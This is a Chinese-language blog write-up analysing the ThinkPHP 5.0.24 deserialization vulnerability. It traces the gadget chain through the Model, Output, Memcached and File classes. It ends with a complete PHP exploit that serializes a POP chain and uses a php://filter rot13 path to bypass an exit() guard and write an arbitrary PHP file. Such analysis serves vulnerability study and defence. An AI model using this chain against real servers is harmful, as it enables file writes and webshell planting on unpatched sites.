thinkphp5.0.24反序列化漏洞分析

news2025/2/24 15:34:35

thinkphp5.0.24反序列化漏洞分析

文章目录

  • thinkphp5.0.24反序列化漏洞分析
    • 具体分析
      • 反序列化起点
      • toArray
      • getRelationData分析
      • $modelRelation生成
      • 进入__call前的两个if
      • __call
      • 虚假的写文件
      • setTagItem
      • 绕过exit
    • exp
    • pop链图
    • 解决windows下的文件名问题
    • 参考链接

thinkphp5框架:

image-20220615000257518

thinkphp5的入口文件在public\index.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

image-20220615000539160

具体分析

反序列化起点

写一个反序列化入口点

image-20220615001131637

全局搜索__destruct()函数

image-20220615001115342

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

image-20220615001339350

跟进removeFiles(),第163行的file_exists可以触发__toString方法

image-20220615001418986

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,发现其调用了toJson方法

image-20220616230519422

跟进toJson,发现其调用了toArray()方法(在Model.php中)

image-20220616230630861

toArray

跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

image-20220616231036322

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

image-20220616235535073

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

image-20220617230450476

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

image-20220617230828281

所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

image-20220617231051519

三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

image-20220617231704327

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

image-20220617232020032

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

在这里插入图片描述

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

image-20220617233102696

我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

全局搜索getBindAttr

image-20220617233345853

image-20220620155134075

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

image-20220617233841235

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

image-20220617234621780

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

image-20220617114358393

在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

image-20220617114621530

跟进writeln方法

image-20220617114702866

跟进write方法

image-20220617114808021

handle属性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

image-20220617114921780

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

image-20220617194846677

初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

image-20220618001440689

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

image-20220617201921089

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

image-20220617202106451

进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

在这里插入图片描述

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

image-20220621201707779

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

image-20220621202647751

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

image-20220621203338705

这个第二次调用set函数,$key可知,$value可控

image-20220621230309625

放在linux运行,生成了对应的文件

image-20220621232215812

查看

image-20220621232244578

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

image-20220622085044431

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是个数组
        public function __construct()
        {
            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
        }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();       //调用__call()
        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
        $this->error = new HasOne();       //最后传给$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个

    }
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;  
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;   
abstract class OneToOne extends Relation{ # OneToOne抽象类
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
    }
}



#Output  进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的调用Memcached类的write()函数
        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
    }
}

#Query
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判断getRelationData()中if条件的第三个
    }
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是调用File->set()
    }
}
#File
namespace think\cache\driver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

pop链图

这里借用一下osword师傅的图

img

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

image-20220622000757213

看这个getCacheKey()函数,这个options可控,所以返回值可控

image-20220622000923068

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

image-20220622001606288

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/408438.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

webstorm使用指南

前言 前端开发比较推荐的两款编辑器JetBrains的WebStorm和微软的VsCode&#xff0c;本人之前开发一直用的VsCode&#xff0c;日常开发其实基本上就满足了&#xff0c;但有几个地方对于我来说一直都是痛点&#xff0c;体验感非常不好。 首先是Git分支管理和提交&#xff0c;虽然…

漂亮的弹出框,javascript库bootbox介绍

传统的javascript的警告框、确认框、提示框&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>弹出框</title> </head> <body> <button onclick"f1()">…

Javaweb实验:静态网页制作

Javaweb实验&#xff1a; 1.静态网页制作 目录 Javaweb实验&#xff1a; 前言 一、实验目的 二、实验原理 三、实验内容 四、实验步骤 五、实验结果 六、实验内容 七、实验步骤 八、实验结果 九、思考 1、frameset和frame标签的作用是什么&#xff1f; 2、个人主…

不用AI也能实现的文字自动播报

背景如果注意观察的话&#xff0c;在现实生活中&#xff0c;你一定会遇到下列几个场景&#xff0c;一起来看看有没有熟悉的感觉。场景一、某周某&#xff0c;小明和朋友一起去某美食街进行聚餐&#xff0c;到了美食街找到一家推荐度非常高的美食店。由于推荐度非常高&#xff0…

【JavaScript 进阶教程】对象新增方法 defineProperty 与 keys 的说明与使用

文章导读&#xff1a; 这篇文章给大家讲解在 ES5 中对象新增的两个常用方法&#xff1a;defineProperty()&#xff0c;keys()&#xff0c; 这两个方法可以让我们更方便的操作对象&#xff0c;获取对象属性&#xff0c;赋值修改等等操作&#xff0c;最重要的是&#xff0c;这些方…

JS的同步与异步

js的同步与异步 ​ 众所周知&#xff0c;js是一个单线程的语言&#xff0c;学过java、c之类的都知道&#xff0c;其他语言有个叫类继承的东西&#xff0c;就相当于开辟另个一个流水线&#xff0c;是多线程 ​ 而javascript就像一条流水线&#xff0c;它无法开辟别的流水线&am…

猿创征文|【React 三】组件实例的三大属性(state、props、refs)

目录 一、 State 1.概念 2.State的简单用法3. JS绑定事件 4.react 绑定事件 5.react this指向问题 6.修改state值 7.代码简写 二、props 1.概念 2.传参的基础方法、运算符传参 三、refs 定义 字符串形式的ref、回调函数下ref、createRef 创建ref容器 一、 State 1…

【微信小程序】-- 分包(四十四)

&#x1f48c; 所属专栏&#xff1a;【微信小程序开发教程】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &…

Vue3 + PDF.js 实现 PDF 预览

文章目录1 前言2 PDF 预览测试2.1 下载 PDF.js2.2 window.open 直接打开2.3 弹框形式打开3 修改配置项3.1 修改主题色为暗色系3.2 修改默认语言为简体中文3.3 打开 PDF 后默认跳转到某一页4 移除部分按钮4.1 简单按钮移除4.2 复杂按钮移除5 错误处理5.1 跨域报错5.2 默认语言为…

架构图以及vue的简介

架构图 前后端分离总架构图 ​ 前端架构设计图 ​ MVVM 架构模式 MVVM 的简介 MVVM 由 Model,View,ViewModel 三部分构成&#xff0c;Model 层代表数据模型&#xff0c;也可以在Model中定义数据修改和操作的业务逻辑&#xff1b;View 代表UI 组件&#xff0c;它负责将数据模…

养老院管理系统(Java+Web+MySQL)

目 录 摘 要 1 Abstract 2 第一章 绪论 6 一、 选题的依据及意义 6 二、 国内外现状研究 6 三、 研究目的 7 四、 本文研究的主要内容 7 五、 本文章节安排 7 六、 本章小结 8 第二章 设计技术与开发环境 9 一、 相关技术介绍 9 &#xff08;一&#xff09; JSP简介 9 &#xf…

在vue中使用echarts

欢迎大家加入我的社区&#xff1a;http://t.csdn.cn/Q52km 社区中不定时发红包 文章目录1、安装2、在vue中引入&#xff08;全局引入&#xff09;3、在vue中的使用4、模板代码放在哪个位置5、完整的一个vue页面实例&#xff1a;6、实现效果7、可能遇到的问题&#xff0c;下载不…

vue3 解决各场景 loading过度 ,避免白屏尴尬!

Ⅰ、前言 当我们每次打卡页面&#xff0c;切换路由&#xff0c;甚至于异步组件&#xff0c;都会有一个等待的时间 &#xff1b;为了不白屏&#xff0c;提高用户体验&#xff0c;添加一个 loading 过度动画是 非常 常见的 &#xff1b;那么这几种场景我们应该把 loading 加在哪…

Vue3 - $attrs 的几种用法(1个或多个根元素、Options API 和 Composition API)

theme: smartblue 持续创作&#xff0c;加速成长&#xff01;这是我参与「掘金日新计划 6 月更文挑战」的第6天&#xff0c;点击查看活动详情 本文简介 点赞 关注 收藏 学会了 使用 Vue 开发时&#xff0c;肯定会接触到 组件 的概念&#xff0c;无可避免的也会接触到 组件通…

Vue:Vue事件整理

文章目录前言一、Vue基本事件this对象传递参数总结二、事件修饰符三、键盘事件keyup/keydown四、ElementUi前言 本篇复习Vue中的事件处理&#xff0c;包含事件基本响应、事件修饰符、键盘事件等内容 一、Vue基本事件 Vue中&#xff0c;设置点击、鼠标滚动和键盘输入等相应事…

vue3【列表渲染】v-for 详细介绍(vue中的“循环”)

vue 常用语法——列表渲染 v-for文章简介v-for 主要内容&#x1f53a;item in itemsv-for 变量的作用域v-for 与对象在 v-for 里使用范围值&#x1f53a;<template> 上的 v-forv-for 与 v-if&#x1f53a;通过 key 管理状态&#x1f53a;组件上使用 v-forsummary下期预告…

前端设置页面字体尺寸跟随屏幕大小而进行变化

越来越多的前端项目现在需要这个操作&#xff0c;其操作的原因很简单&#xff0c;你的项目可能跑在小尺寸分辨率的电脑上&#xff0c;也有可能在大尺寸的会议平板上&#xff0c;更有甚者是在LED上。那么如何让你的项目根据屏幕分辨率的大小而自动变化&#xff0c;修改页面展示字…

运行调试前端项目之ts

本文分四个部分&#xff1a; 直接node或ts-node运行ts通过package.json文件运行tsts翻译为js后运行js在ide中运行和调试ts — vscode中&#xff0c;配置launch.json文件&#xff0c;来调试ts&#xff0c;与js调试一致 — idea、webstorm中&#xff0c;安装“run configuration…

vue3 超好用的富文本编辑器

Ⅰ. 前言 quillEditor 毫无疑问一款非常强大的 富文本编辑器 在 vue 中一个也非常好用 &#xff0c;而且也十分轻量的&#xff1b; 然而如今的vue3 我们该如何使用它呢 &#xff1a; Ⅱ.vue3 中 安装 quillEditor ① 下载 npm install vueup/vue-quillalpha --save② 在ma…

vite首次打开界面加载慢问题/解决

写在前面 网上都说vite要比webpack快&#xff0c;但个人感受&#xff0c;默认情况下, vite项目的启动确实比webpack快&#xff0c;但如果某个界面是首次进入&#xff0c;且依赖比较多/比较复杂的话&#xff0c;那就会比较慢了。 这篇文章就是用来记录&#xff0c;关于vite慢的…